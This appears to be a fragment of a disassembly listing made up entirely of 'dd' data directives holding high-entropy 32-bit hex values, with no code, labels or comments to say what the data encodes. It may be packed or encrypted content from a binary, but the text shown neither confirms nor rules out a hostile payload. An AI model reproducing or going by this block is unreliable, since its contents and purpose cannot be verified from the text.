		dd 19AACD9h, 7DD3FF0h, 0BD5DC2B8h, 0BBFEA5CCh, 0B4BF0F43h
		dd 0B78445BCh, 9B3B6916h, 580680BDh, 0B76AEAFAh, 0FCEA38E2h
		dd 90DC6D54h, 4BB77F85h, 3A5DC95Fh, 0DC80F49Bh,	0A9831F93h
		dd 397B6409h, 45F7BD9h,	0BC439DBBh, 6AA2D35Eh, 0DA959900h
		dd 0B093BF31h, 0CAB4F302h, 5E704D50h, 37BB5E6Ah, 13C81C50h
		dd 0AE013F0Dh, 9561301h, 9134ED85h, 0F690B55Fh,	0C0009DBAh
		dd 8E53C4F3h, 9FE35C9Ch, 335C9262h, 32AD5751h, 48DE365Eh
		dd 47534EF3h, 7C228D4Bh, 712D25A0h, 95CDA7FAh, 5D3F3242h
		dd 1F820662h, 3F5E2A75h, 0FE149F71h, 3922DF04h,	0A8A23FBCh
		dd 8F70652Bh, 7BF26386h, 43FF05F0h, 0D0BF0E71h,	158589A4h
		dd 0B30F6BBFh, 6000842Dh, 34619501h, 95E51B5h, 24F59D89h
		dd 0FCB8FC3Ch, 83A69B5Eh, 80269493h, 67B7B328h,	7C955A99h
		dd 7525BB6Dh, 6AEAC979h, 0B001E73Ah, 1785DDAEh,	64604BC0h
		dd 0C9C18331h, 5E5302BCh, 0E8175E61h, 0EAF67E36h, 0A08E4F12h
		dd 0A45919F7h, 4100D2ACh, 54E442BDh, 975F4C6Eh,	105F75E2h
		dd 559F5Fh, 0EACF0818h,	445C6FEDh, 164783Dh, 81C409E1h
		dd 0D42FFBA0h, 0C1F409DAh, 0FBB51CD0h, 0C971D04Fh, 80A7FE01h
		dd 0F014CF32h, 48DCA3Fh, 5350DE8Bh, 0FE1734AFh,	5FC8C999h
		dd 0D61D68Bh, 0C010FE7Fh, 40A265B3h, 5809F87Ch,	59427BF8h
		dd 51611815h, 0DD1F8FEh, 0F83F752Fh, 122A2049h,	0AB025FE9h
		dd 0E7E777Ah, 0D7640560h, 0BD29C160h, 32991C91h, 105D08h
		dd 8DDAE381h, 9997748Fh, 0B1715754h, 5F022CF1h,	73273A5Eh
		dd 0E5F1D8EDh, 0C16F7FAh, 9AA256Fh, 0DF5C0269h,	0D57004EBh
		dd 1DB2825Bh, 4052365Eh, 5B02C057h, 5696F89h, 0B529D37Eh
		dd 2DAA0085h, 979A7F44h, 3729F780h, 6E0083EEh, 3188D2C1h
		dd 97051DBDh, 2AFC4FB2h, 9F8317D4h, 0FC033503h,	75B380B1h
		dd 2595BC0h, 12A8F78Dh,	2F41A713h, 0E09657C5h, 50B4B796h
		dd 0AE40B49Eh, 176E9C20h, 8A8664h, 7C15CA0Fh, 73002439h
		dd 55EDBF1Ah, 595F6CD2h, 0B0BCBC96h, 9E1FC9E6h,	1D297DCh
		dd 2B0F61F3h, 154B119Dh, 0E15A6656h, 5D7A50B8h,	69DAA467h
		dd 14C479C4h, 0E2892EB7h, 203AE149h, 7F7805E1h,	0CC93BB00h
		dd 0DCE35A9Ch, 1A96032Ah, 811611AEh, 3E20544Ah,	26ACBEC5h
		dd 7112FD6Ah, 6A0A315Bh, 0D30928Dh, 0D1945B16h,	4DAB6DBh
		dd 75BCBFF9h, 3E9D2004h, 0AC4D8E5h, 53D4D2FFh, 12650B7Fh
		dd 2FAB5C59h, 3C60F1EFh, 4B3F12Ch, 0B21E254Eh, 804BBC50h
		dd 98C6702h, 9CED00D9h,	0CC519D65h, 9A01077Ah, 0A3AA0AF4h
		dd 6170FAD7h, 131A9F5Bh, 70BD8D4Ch, 6102E9E3h, 0AA960277h
		dd 5ACD5E71h, 7D56B2CAh, 0F72A3651h, 66D4B0ABh,	7BC6002Fh
		dd 0D1B9C023h, 0F20ACF81h, 0DE3699B1h, 0E909C91Eh, 979FE61Eh
		dd 53717F1Dh, 4551F120h, 0FBBC9223h, 978E3EF2h,	0E875BD92h
		dd 3801028Eh, 1D080620h, 12847140h, 6492D4A5h, 0E12F71F2h
		dd 61FBDFE2h, 82181B59h, 731A4D00h, 45B1E130h, 0CDDE4B8Ah
		dd 25A77C6Dh, 3EBFC51Eh, 258D2D2Ah, 0AC44890Fh,	51CDD84Bh
		dd 443D95D0h, 7E09BB2Bh, 0A23E8040h, 441FB73Ch,	9B6EFFFFh
		dd 0CD548081h, 407762DDh, 55351E6h, 0CAF6978Eh,	0AFDB6A0h
		dd 4E88594Fh, 0D9789Dh,	24AEF763h, 22FFD2EEh, 780BAA00h
		dd 9ABF6215h, 0A59D2F33h, 3102D6A9h, 0BAD518C5h, 1FB7556Fh
		dd 4CDDC42Dh, 0F4738D81h
		dd 6F4297F5h, 29E58263h, 0B88169D4h, 0DCC23D8Fh, 0F281C04h
		dd 0D2B4BC44h, 9B5FB2E2h, 792C4D3h, 259DF7F4h, 497B2705h
		dd 0DBD2B82h, 4BAD5E14h, 501905D2h, 5B0C5320h, 0B68D352Fh
		dd 0D206E0C8h, 80500B87h, 52184405h, 2EE0FC6Dh,	0B3CD284Bh
		dd 4FE7202Eh, 6F00503Ch, 0B355D019h, 24A64452h,	2E00FE6h
		dd 6A5BCF6Dh, 0E278D75Bh, 147D027Ah, 5B882BAEh,	46D6985Ch
		dd 0BB61001Ch, 4B8A1EADh, 0F0D37401h, 63F617AEh, 2937CC46h
		dd 216B85ECh, 4B94D80Ch, 80FC80D9h, 45A47AD7h, 0A2DF8102h
		dd 5E5726BBh, 0CF806161h, 43282F71h, 0DD39D37h,	9BF921D9h
		dd 8FCE62Ah, 4B98Dh, 74BF5096h,	2377BC12h, 4614F8ECh, 0C05959EDh
		dd 38E5CC7h, 0D9CE9578h, 410AED95h, 0F6535A6Ch,	184E1177h
		dd 3EB494D8h, 0F800DC25h, 6D35F156h, 0E117E08Fh, 7182DB81h
		dd 44DE6F14h, 0FC26714h, 801A818Dh, 342FD4F7h, 0E2E05242h
		dd 0AF328822h, 5C009344h, 0EABC68A2h, 1D3D3Ch, 6D1EC628h
		dd 0CB23B46Ah, 0E63B6925h, 40369E15h, 31D1C6C5h, 353DE400h
		dd 0BC213E41h, 0D2707C6Dh, 0C002E220h, 0E9DBB70Fh, 0E009979Fh
		dd 7CCBBC4Dh, 97080FFh,	4AF781C5h, 3261DD05h, 65FBC18Bh
		dd 0FF84EEE8h, 29B82DABh, 8BC8A940h, 0EE280275h, 1EC9D18Eh
		dd 7474C65Dh, 0F2B05BFh, 3160504Dh, 40F27C94h, 2ED5B29Fh
		dd 25DEAB00h, 6052C1EEh, 7D9702BFh, 5E5378E7h, 0D4CB3256h
		dd 7195DC99h, 5BC5000Dh, 0F8FFD1ACh, 12475058h,	24F606A9h
		dd 0B38270A4h, 0AB01398Dh, 519526A3h, 0AD40F574h, 951983E4h
		dd 2D783DFBh, 0F9A0058Fh, 81BB4C8Ah, 2F26650Eh,	19230C6Ah
		dd 56352000h, 5AD6A6F4h, 0C53FE1F9h, 200C062Ch,	4A9D010Dh
		dd 0B3362ECh, 7043F3BFh, 0CF0C012Fh, 42CD02EDh,	9DB874B3h
		dd 6FE0C8CDh, 97943E6Ah, 83A307B5h, 88ED4D80h, 0B4E9CFDDh
		dd 65844027h, 0E40F7935h, 0E0310AC5h, 0F78A321Dh, 855054Fh
		dd 46FE882h, 0AF0C2DC5h, 40902E75h, 4AFF805Dh, 7F6ED1h
		dd 8D6EF7A3h, 0B5023A46h, 0ECEEC290h, 77015D7Ah, 1ADD752Eh
		dd 282F07A3h, 0F5886C05h, 0F8024E6Ah, 130D109Bh, 0A2B0BE31h
		dd 0F2EE4523h, 85CC00F9h, 696AE19h, 13180016h, 74959BE5h
		dd 0FFAA892Ch, 50037DFh, 0BBFB7BBEh, 1823496Bh,	5D018B1Fh
		dd 6EE9FFFDh, 10138E6Bh, 3F4883EEh, 0ED1D8D12h,	3B26E88Fh
		dd 15120BBBh, 1E2E322h,	505FF857h, 8B5FC0B3h, 5CE15580h
		dd 5995DE8Bh, 0AAED4BE7h, 66F49640h, 497812CFh,	4DBEE636h
		dd 0BCDD4A2Dh, 8031DA2Bh, 97356337h, 0BD890D07h, 6A4D0569h
		dd 2D1930C1h, 0A198A73Bh, 622E1135h, 0B0252B8Fh, 41BF8800h
		dd 0BF642925h, 2AA15640h, 7560E681h, 97C17F85h,	58297D29h
		dd 745745Ah, 0A9256538h, 795842A9h, 970766B5h, 0F09E7A90h
		dd 723942B8h, 4CCB9F5Eh, 3EB8147h, 5B21AC51h, 8888A761h
		dd 78271291h, 2B14415Bh, 2D415B54h, 61E8FC30h, 0ADC82BD9h
		dd 4440F41Ah, 81C28CD1h, 48E5EE07h, 0C3A0FDADh,	9DF3DB6h
		dd 0D0BC8E33h, 52DCF59h, 3D1F0518h, 2DB82356h, 0AD958984h
		dd 73562FA9h, 7BA19932h, 172EB85Fh, 5CD810Fh, 0B6C722Bh
		dd 88EFF525h, 0F709BBB6h, 0DD2C5EA7h, 0A560F21Ah, 2A51859Dh
		dd 4F482B30h, 75A245h, 54839CE3h, 15D734FFh, 0AB2C701h
		dd 11446338h, 2B40A5F5h, 459D0BFEh, 7DDCA0C9h, 73A79095h
		dd 3E087737h, 0A00B20Bh, 8F75F034h, 1302FBF8h, 355DC9FEh
		dd 0C2705CE1h, 60040BCCh, 0A41AE5B0h, 26A52DA8h, 8B206BD9h
		dd 7F1F6D6Bh, 31404B15h, 9A8212h, 4357C021h, 0B9F99F49h
		dd 0CF089D25h, 0BEF9400Fh, 0D35CCE78h, 7A110ECh, 8A4DC34Ah
		dd 997D3B97h, 827B2B56h, 82F07553h, 3DBFBA70h, 844680E9h
		dd 0A15F59EDh, 0E1175D71h, 158860D4h, 0C62C009Bh, 301A782Ah
		dd 0AD01982Eh, 0B959FC8Dh, 32E4C5F4h, 621E9761h, 0E758109Fh
		dd 5E6004Ch, 0BB4B74AAh, 132D21DFh, 82D97EFCh, 18E59509h
		dd 0D5933257h, 9C613890h, 2B3AD900h, 641B84A4h,	7A5A139Dh
		dd 7584A860h, 32397424h, 2F22D908h, 6D4B4F51h, 700D4047h
		dd 0DC264082h, 592D5891h, 41D4FA26h, 674C05DCh,	0AF8C0F66h
		dd 3900428Ah, 938B8494h, 0B70E7ADCh, 60D60656h,	0A28EE117h
		dd 1265B472h, 2543B205h, 1745C59Fh, 0C1CADE58h,	4A6E2A64h
		dd 1FCBC7F0h, 1E24DB81h, 4FC425B5h, 9C88BB04h, 54B84B14h
		dd 4DBD33C1h, 0BFAA062Ah, 0E1FF9B48h, 68432F96h, 0E40EB8D2h
		dd 33C0110h, 927DC0C7h,	46282E05h, 3B528931h, 0CC092920h
		dd 0A3AF0112h, 0AC205E8Ah, 8F79F8E4h, 0BB5B3C01h, 7C563BCBh
		dd 255B282Eh, 9F8D8988h, 0BF6666A0h, 14979AE8h,	9CD85563h
		dd 0D154B56Ch, 0DCFCB460h, 0AD4AE102h, 5C427B77h, 60932455h
		dd 9798287Fh, 803EF03Fh, 25C354A7h, 71129031h, 25D2F4EBh
		dd 67C27ECBh, 9DCFED6h,	0CD7B983Ch, 0F9705972h,	0D0EE5395h
		dd 0D30A54F7h, 0A00B53EFh, 51939709h, 5B5CA596h, 36B8FAC4h
		dd 38090CBh, 0B8666050h, 0E4E90C7Dh, 3BFB61F1h,	7F6A0782h
		dd 0A5E0824Dh, 0FE3F8D91h, 0D2F62489h, 0C6D0842h, 85D86803h
		dd 3ABA5C8h, 0D786279Dh, 88F0F9DCh, 0AD594B8Ah,	595FFBAFh
		dd 24C51816h, 923C678Ch, 3F1B72Ch, 39E9DC8Ah, 7E6E8502h
		dd 6E840901h, 219030BCh, 819830F1h, 762583B9h, 3C5925B6h
		dd 0D4D1DC69h, 62A9A33Eh, 369CCh, 33D19D23h, 0A144C595h
		dd 34FF865h, 2ABC2802h,	5CEF6F76h, 3186905h, 0F50014F2h
		dd 8380DECCh, 9A15158h,	5841E9Fh, 0DFA80C71h, 5FDBFABDh
		dd 0F0D7E689h, 2D30D94h, 10296676h, 467DD98Bh, 0E058BDDDh
		dd 1A9D264Bh, 0BCC0AA38h, 21A2977Ah, 0D15B7800h, 0B767D38Ch
		dd 61FC253Dh, 377505C2h, 0BB532F55h, 0DC19613h,	5FD65BDFh
		dd 0B5FC619Ah, 0D31501DEh, 544B8F5Eh, 1AF5FAC7h, 27E15480h
		dd 0E8D82EFBh, 0B8B627C4h, 0F4C6F410h, 0AE64D600h, 35939FBh
		dd 75E200D2h, 0FA23D5F9h, 491E1A83h, 0B8C9A768h, 545964h
		dd 0EC24D470h, 7E003653h, 0FEA60C20h, 3D7117E6h, 9005265Ah
		dd 0E051E979h, 69A5FCAh, 0A7E1580Bh, 0C211ED64h, 0C0566F73h
		dd 0F19D2961h, 900D096Bh, 0AA00B171h, 0E781757Ah, 0ABC30072h
		dd 38CC6F5Dh, 29255445h, 772FC606h, 65F1BD5Fh, 5C8D1DB2h
		dd 8C446975h, 0EB171000h, 0A8AF51FEh, 60DA70FAh, 8190485Fh
		dd 47121DC7h, 0C7B60B96h, 12A1BD08h, 16DE6BA4h,	0B84609A3h
		dd 51F16976h, 0ACFC64E6h, 842AA310h, 2DE899EDh,	80046FF8h
		dd 1FE9F92Ah, 0DE84D7ACh, 0EBD8ACF5h, 0DD9D8981h, 8916A15h
		dd 8E6B12BDh, 8FAD2A4Eh, 0A5A0B329h, 9F1F9E66h,	2B70955Bh
		dd 0E09A255Bh, 1C599453h, 1F00DC18h, 0E58F1852h, 9FB5D5Fh
		dd 383CBB66h, 17ACD159h, 509C2A09h, 0CCBDBFFBh,	0B6ECD980h
		dd 250DC5BFh, 357342BCh, 269D8D04h, 70068DAAh, 67BE1C48h
		dd 79DD92EDh, 85E9D82Ah, 65192125h, 646DAF50h, 0C01C3340h
		dd 15992D38h, 9AC11A90h, 8791AE3Eh, 0D3C5A67h, 5EACF5D4h
		dd 7CE5A2D2h, 80566B3Bh, 75C5B161h, 39276C42h, 9680CB21h
		dd 6032849Dh, 0CE28B70Fh, 9959D61h, 9EBD5D7Bh, 47F8AC13h
		dd 0CDBD0D12h, 50303EB5h, 4AD58D01h, 6D7CC912h,	0E67AB9A5h
		dd 88C25A06h, 2050202Ah, 8409F381h, 5B76A314h, 0F24DA7A3h
		dd 5637BB42h, 81606094h, 2A16FAE3h, 58AB45CEh, 0BD035C5Eh
		dd 0C520C124h
		dd 26FD12BBh, 5F601F38h, 89CA6A8h, 180A8D9Dh, 888A2296h
		dd 5BDA0BBFh, 0FCA63F45h, 8459129Fh, 0AA9EA834h, 6552DE1Fh
		dd 54C0125Fh, 31FBA577h, 4A7E7CD0h, 2292CA2Eh, 0FB3CA132h
		dd 0F2BAB32Ah, 0A7F53219h, 7159C20Ah, 2D8A016Dh, 6B3A3745h
		dd 31D0BDDAh, 4FAF4EC1h, 2916D97Dh, 89AA92F4h, 10A27FB7h
		dd 0C8BA9A4Ah, 9BD3C91Bh, 0FCF78084h, 0EBB0B5CAh, 0EFF8752Fh
		dd 2E63DA03h, 0C140BFC9h, 122B7BD5h, 0C0559EA9h, 8BDA7DB8h
		dd 31F804FBh, 0AB22F18Dh, 8945EF38h, 9442F68Bh,	8919BAFFh
		dd 8AFDEA6h, 0C6162311h, 1EE85CF9h, 5A376500h, 51FB46ACh
		dd 0D960CBE2h, 16419B50h, 72E02D2Ah, 0EF5C00C1h, 0FF6CFA22h
		dd 0D82600DCh, 48E619CDh, 0F47B65E9h, 515A60F9h, 0CBC2854Ah
		dd 18C53084h, 6114448Fh, 0CC7E9078h, 4B95521Eh,	51619202h
		dd 6552ADDAh, 0A319D10h, 7D38180h, 5A7899FDh, 3596695h
		dd 0F936D48Ah, 0A8168250h, 12EA9257h, 4AFBA274h, 37EF5085h
		dd 788D8376h, 0AB7544A0h, 0BB907F01h, 16659B55h, 0BFBA423Fh
		dd 84D50753h, 0A7AE8822h, 684C01FAh, 0A6BA44B6h, 6E4A3E29h
		dd 79E70068h, 0F0A31DC6h, 667B948Ah, 0FB18FA66h, 0CB0F6A0Eh
		dd 0B62277D6h, 0AE7DDE91h, 0D94D5B00h, 819AE2A9h, 0C2F6A3DEh
		dd 256CF22Dh, 735B2611h, 7BF16EAFh, 39BA9565h, 195D04FDh
		dd 0F63C35ABh, 76ACA278h, 0E9BD0F3Eh, 0E331ACD2h, 0B6304AB3h
		dd 0B5A5F0B4h, 4B020E8Bh, 0E6926AF9h, 0F010E0B3h, 0BDBB3ED1h
		dd 5B122082h, 487F8529h, 2DB790C7h, 0CDD6503Ah,	0AD8A1041h
		dd 0B74063EDh, 0B0AAABBh, 905F70C0h, 5DC4C54h, 8671AB77h
		dd 411DF060h, 0CC2A2341h, 0DC9C6190h, 0C9975469h, 5060E2B0h
		dd 0E6003090h, 0BE5A03E4h, 931286Dh, 0CDE96167h, 0F2734C56h
		dd 0E3800192h, 4C806BE0h, 9DF93F70h, 17598053h,	0E4091E18h
		dd 7F8B3220h, 8D897310h, 540D1125h, 8B35EB7Dh, 258C4D94h
		dd 257A65F8h, 0EF40484Dh, 5886E3E4h, 9112204Fh,	0A43CAC03h
		dd 84BDDBEAh, 6BABB706h, 0F1B2354h, 0AB20E959h,	5C8031B5h
		dd 0D98D290Ch, 95FF5318h, 0CE4F8710h, 0EE00B87Eh, 0F4673A6Dh
		dd 1D2B2601h, 0EE1AF40h, 4C10F1BDh, 104B76EBh, 0DC837ADEh
		dd 0A1D18EA6h, 0B9622B57h, 0F718DDFCh, 0B070131Dh, 8277D99Dh
		dd 0A2DBD03h, 6070E602h, 12C6B8D7h, 0B4FC71E4h,	2FC9D8B9h
		dd 4AB258F5h, 0B5E523BAh, 89091D92h, 29388E7Dh,	8E9B5916h
		dd 0D3106DBDh, 2401BC04h, 0BFC82B04h, 0D1D9B1CDh, 0F37B2821h
		dd 0F55650E4h, 0CACACE95h, 133DE546h, 849BF85h,	739FAC56h
		dd 3264B55Bh, 0A5112121h, 58CC874Bh, 891A6166h,	182145Fh
		dd 0F1822904h, 0E6D522AAh, 0A9BCC406h, 0DE62AA0Ah, 0A52A2F40h
		dd 88FE1615h, 0DC009A37h, 0A8084BB3h, 0F24AFDDh, 6539EF19h
		dd 0D1177007h, 634C8C3Ch, 50007D92h, 3180BCDEh,	985FFE8Ah
		dd 7B95516Ah, 182D8889h, 5750FA54h, 0CD048216h,	0FC6A495Dh
		dd 82C960CFh, 4D0B2EDFh, 0DA59EEh, 8451C510h, 11E73CF6h
		dd 169F5A24h, 0E570EB5Bh, 5B36B9FEh, 800B9E08h,	273A2D71h
		dd 79072DEFh, 0F46BE511h, 583D1646h, 0AC7683AAh, 0D8E17062h
		dd 744F57Ch, 1B8DD33h, 0AC0C74BDh, 0C649C8Dh, 648B15B7h
		dd 4A969DFBh, 0D7E8DA09h, 7FE96AE9h, 0CDE0754Dh, 12D22BDCh
		dd 0A9B9DB80h, 93FDB4DDh, 1FAFCA8h, 0A7AFD604h,	65813BBBh
		dd 0F76B06C9h, 737A7AEh, 85236040h, 98284BE1h, 0EF0001BDh
		dd 94290271h, 330D74h, 5BB98AB4h, 9284FDE0h, 9914A609h
		dd 0BFC85861h, 2E4096CFh, 2FB169D1h, 0D45B3EDDh, 2C191B59h
		dd 0AD78C004h, 4E5B5751h, 0D77EA95Fh, 9DA879FDh, 84EA9595h
		dd 0AC75BD33h, 0AC8A4A5Bh, 0FCB46D2Eh, 0FA973170h, 9D0B13DDh
		dd 3770AAEDh, 5A35B589h, 5022B717h, 0FB97B1FBh,	464D27E7h
		dd 7A625E40h, 5F2616FDh, 0DF270314h, 8043506h, 6C4BA87Bh
		dd 0D5A7C1ACh, 0D606DE04h, 24356B0h, 0A2D8BF64h, 0CC56304Bh
		dd 0FF04FA53h, 420204BDh, 546A264Eh, 0AC161673h, 2BFCE23Ch
		dd 16DC5574h, 0BC5FE20Ch, 0B060275Bh, 0BDDD9520h, 8C2D7D52h
		dd 704353D9h, 0E212212Ch, 0F4B11662h, 36F10B26h, 11606C4Dh
		dd 9D160A55h, 2A93E1D5h, 52AFFF53h, 0BB6BFE92h,	31001823h
		dd 0BF74BEDDh, 0BB6702B3h, 4DA9524Ah, 0DC27F956h, 0EB09F6DDh
		dd 0F929E8ECh, 79618186h, 0ECA3BD68h, 0D7F0808Ch, 2C26381Eh
		dd 0F24A7151h, 0F7800F07h, 0B9926345h, 8B865893h, 43E5DA00h
		dd 0D11E1768h, 4F54805Ch, 81DFCB31h, 0E5E84880h, 0AFB37F4Dh
		dd 0E125CC90h, 0A406C521h, 0AB02D604h, 4D91E5C1h, 4B035C27h
		dd 56801CB7h, 17E03532h, 1E912FBh, 99099102h, 0F92D2B2Dh
		dd 4AC1E35Ah, 0D0B20722h, 9B09EB81h, 59790285h,	45096F5h
		dd 72755D9h, 0A97E295Fh, 0E0E5542Eh, 792FBB60h,	0B966EC00h
		dd 3E2CAFB2h, 0AA9C8C61h, 663D5CDCh, 466DA13h, 0EF896E35h
		dd 65C035DBh, 54D9AE12h, 53C18D4Bh, 6E60075Ah, 950DB2A5h
		dd 4D25C565h, 15DB407Ch, 190D363h, 0ADBCF95Eh, 670DA89h
		dd 0D3BE7AC0h, 1FE880E4h, 0D29661E1h, 7424AEFAh, 7380E4E8h
		dd 0B5ACFF7Ch, 31F78C1Fh, 0D672EA8Bh, 565C2F1Eh, 87AB5569h
		dd 7141A7DEh, 0D4706E0Dh, 614F60h, 8D8996DCh, 0BA952665h
		dd 3BEDC6F1h, 841F89A4h, 27750058h, 70A1C890h, 0DC209625h
		dd 846841C4h, 924FF9E2h, 0B7B0D8DAh, 8FE13D7Bh,	0AED7666Bh
		dd 6F85AB3Eh, 83B8C08Bh, 0F401AC50h, 41DAC5B4h,	0C83A3152h
		dd 0C4BD5BFDh, 0E8F94086h, 3430860h, 0C5B701Ch,	0F2E6B329h
		dd 87AAD924h, 0E2C6D7h,	9675B1F1h, 11EAEB13h, 0B8C65A14h
		dd 0BFF90E9Ch, 0CE564157h, 9E73F2Fh, 7EC78070h,	9116B57Fh
		dd 0D5E08019h, 5AD75094h, 0C0E7AC61h, 11D81A10h, 1D042418h
		dd 4EFD12B4h, 0B63761C1h, 0F156E315h, 4C2054D6h, 0CF094AFDh
		dd 9D1274EBh, 39AA1869h, 5E0E6C73h, 39BCC2EDh, 2C003472h
		dd 83BDDDCh, 0BF37E938h, 0CF6529EFh, 0A5623BABh, 0EEA099A6h
		dd 0DC7FD02Ah, 82C18839h, 87CACCCFh, 12B5FE47h,	842DE309h
		dd 7ABA0419h, 0FEE00226h, 42FB8E78h, 1400D796h,	9D297AEAh
		dd 0D0A6D24h, 67A4DF79h, 4F78DECEh, 6960F00Dh, 0E149C232h
		dd 417F40E6h, 0B7D19703h, 0F8DB044Bh, 78D143B8h, 3E00A7ACh
		dd 0C2E340CFh, 259531E8h, 12CD17E9h, 31601DE4h,	7E0121B0h
		dd 6240C8F9h, 0A940753Ch, 25BFD8E7h, 0B85679B7h, 0FCA4EDE5h
		dd 0A8EA09BFh, 0C1501E95h, 3DC9FB4h, 0F1A579D4h, 0F0C51BB3h
		dd 0A4AC5FAEh, 0F19D3309h, 0E80F560Bh, 7059497Fh, 1F11A901h
		dd 0FF0D271h, 57F63DB4h, 51602D46h, 3D46B272h, 9A2A8AFh
		dd 2A54C585h, 9C76DC4Bh, 6FC66561h, 410829A1h, 11028C06h
		dd 47398FB3h, 0A826EDD2h, 284D0098h, 93B6A156h,	524CD559h
		dd 4FD74C8Ch, 4C24C45h,	6FE03EF6h, 0DB0008A4h, 37607E76h
		dd 12FCD7EFh, 0E197CF80h, 2EEBD97Dh, 0D0397A29h, 20F63EA9h
		dd 807FCC4Ah, 0CFA8D32Fh, 0EAE240DEh, 0CF0236A2h, 2FBEC6C8h
		dd 6591828Eh, 52965C09h, 2C7E4D40h, 544D5995h, 8B857197h
		dd 114450F8h, 0FEDB1007h, 5F99C2C1h, 0F1159180h, 5D49933Ah
		dd 9D137390h, 60EE16C5h, 0B37AA099h, 1F75C0FDh,	27DB539h
		dd 0C0BB7ED3h, 116493E1h, 4A2AEDE0h, 0A3AEAFC4h, 3F9B00AFh
		dd 57D5F50Fh, 0FEFF0F3Eh, 37F7EB1Dh, 0F62770A0h, 0E712C7F0h
		dd 20AB1028h, 0CDABE6Bh
		dd 5E864009h, 0C16BF65Fh, 423DD9Dh, 36A2C7ACh, 0FEF96022h
		dd 98BB060Fh, 0CDB7F5F6h, 0ACD8C1BAh, 1E6970BCh, 2B1140Dh
		dd 526F86E9h, 0B4CBB646h, 0A2BB3134h, 1BE8926Dh, 0A432392Bh
		dd 11590941h, 9D069655h, 843E23B5h, 0A427B90Eh,	2542C1EAh
		dd 0B5030126h, 953864DAh, 636B7C94h, 39375F44h,	0FA6AD380h
		dd 74CD4CE4h, 1DE12565h, 35555D89h, 801D911Dh, 0CC99D13Eh
		dd 0E47AFB82h, 8D5B3105h, 0C0B0A552h, 3BF0951h,	6189DDC1h
		dd 0CC49A59h, 0CA9BE440h, 180076FDh, 0E8E54E73h, 4AE94268h
		dd 7F88B167h, 82013D6Eh, 0E5C9D663h, 55C92B29h,	213E72Ah
		dd 0A3FA43F2h, 693B4127h, 605B8E52h, 2FA2EC24h,	0F96076B9h
		dd 564A51D8h, 0E25BD4F0h, 9D2CB6E9h, 5CC84ED5h,	0E9E80114h
		dd 92002A4Bh, 0D1A41472h, 6FDF0062h, 0AC1C9986h, 0D6005AC9h
		dd 22A08F66h, 0C4E3B2h,	0FE6ECCC7h, 37A70817h, 73D15E00h
		dd 3EBD7203h, 9C270ECEh, 52A013B2h, 0ECAD169Fh,	1EEA504Eh
		dd 80F080E3h, 0FC25A0BEh, 1086F200h, 0B1BCAE7Fh, 91010082h
		dd 0BF2F8CA5h, 70C6A77h, 29FA1FA6h, 9FB01E81h, 2DA0C197h
		dd 20A9199Ah, 0E9795C03h, 7A4B25C0h, 21A390h, 0F5A8ADB1h
		dd 55BC581Eh, 32412909h, 5E0D7FDh, 0F1072595h, 8B3CA312h
		dd 0B7A5B9F0h, 83C5300Ch, 449FA84Ah, 0F0E39800h, 2AC0EF24h
		dd 57D4014Bh, 0BFF767CBh, 0C55F4CEh, 0EF30C360h, 30C5F1DEh
		dd 52131E3Eh, 943382F2h, 1F6DAA9Fh, 87B02098h, 0E3CAC3h
		dd 18319C1Dh, 0A84B9502h, 0A5701B97h, 9941EFCDh, 5ACA2A87h
		dd 0D8FF368Ch, 42721CE7h, 1160A930h, 607A490Bh,	5160F57h
		dd 4A070D2Ah, 1F95D998h, 903FE0AFh, 0C44234B9h,	4012BC6Ah
		dd 3059ECF2h, 0B9B5C0D6h, 71BF60E8h, 828A363Bh,	0C52469D1h
		dd 0F1B86055h, 9FBD3C81h, 806FFDB0h, 5100BBAFh,	4670E060h
		dd 0E9C43AAh, 8856C62Bh, 6254C480h, 0EE167D6Dh,	0A809C241h
		dd 0BE4BDD75h, 82387ED9h, 87F77456h, 10FA758Ch,	0EF03AA00h
		dd 37D343C2h, 107838FAh, 7ABDF580h, 0E78EA139h,	4BBB381Ch
		dd 67D75640h, 0C5ED92Fh, 607FDA6Fh, 7344E5EAh, 7E3BA0C1h
		dd 78BE0059h, 11AF8A2Dh, 3D01B879h, 0CE55C9CDh,	29F0E8DFh
		dd 477309Ah, 0A25F6E4h,	9B2A340Ch, 7F51576h, 0F8274624h
		dd 170CE07Ah, 93F62191h, 98B11C00h, 97A91245h, 816264ABh
		dd 0E522377Fh, 3FA1A0BCh, 8F7C6Eh, 0FC79BD2Dh, 70992C32h
		dd 2AFB1FC0h, 2A665940h, 3A7278Ch, 0F97CDA75h, 6FF09E65h
		dd 9BA08E7Bh, 0D6A853D9h, 0CB4C2889h, 0D2710C12h, 36E4D8Fh
		dd 9E98725Dh, 1500F717h, 0BA2E27F3h, 0AB0B2Dh, 69503ADDh
		dd 0FA66D376h, 1EEA1A0h, 24CA88h, 4EBE3DC9h, 0C47F5D61h
		dd 60499D60h, 0C1A2E75Eh, 5778490Fh, 2BAC3BB3h,	0F1980071h
		dd 3CAC09BEh, 43FC1122h, 0DECCA700h, 71D4EA1Ah,	9BFC09D5h
		dd 15AA6816h, 0F9748036h, 9D92E189h, 82AE1E3Fh,	93F8C60Dh
		dd 11707716h, 789CF748h, 66101D60h, 213D0FFh, 18DA05B4h
		dd 0FF43991Bh, 0E854D0D4h, 0F92469CBh, 0E900EABDh, 71C1A8Ah
		dd 9F1A0A4h, 0FE3800A8h, 0B6AB6901h, 0D500C131h, 0C6F060DCh
		dd 0FEE5D841h, 3BA2260Bh, 0CBD68055h, 9DBD245Eh, 9759E62Ah
		dd 40EBC24Eh, 3F4AFC68h, 2C4C375Bh, 91E10D76h, 1BE1EC2Fh
		dd 0A506C4h, 0D9FE6035h, 2B49F0A2h, 0D0BA8409h,	2DAB2063h
		dd 585ECEh, 4076E64Bh, 3462D233h, 8A35BC09h, 0C766DD59h
		dd 3ADB5E19h, 927B6190h, 587735CAh, 5467E459h, 18C9D422h
		dd 44C12F8h, 0DB5FE20Bh, 0A03952BCh, 2463DCBCh,	0C1B18E9Fh
		dd 901080B8h, 0C23F4E1h, 24AE0182h, 458C3707h, 281C80BAh
		dd 72437317h, 98C13044h, 0E757D617h, 40C2AF00h,	0E34AE6D0h
		dd 26B9F2FCh, 24726B52h, 95BC8C76h, 47095833h, 834CEDA3h
		dd 0B7E8376h, 969B1018h, 0D2C65501h, 23D847C1h,	1F034891h
		dd 1C886233h, 12F50197h, 531A121h, 4FBAF408h, 0B790DEE6h
		dd 0B4921678h, 9C06191Eh, 931B2401h, 1320F691h,	6BE80034h
		dd 372C6A45h, 50B144B4h, 0A0FC1E84h, 15844080h,	9E1D00AAh
		dd 9F5F472Eh, 0F4094F6Fh, 89B5C6FBh, 64FC0FBBh,	38C02E92h
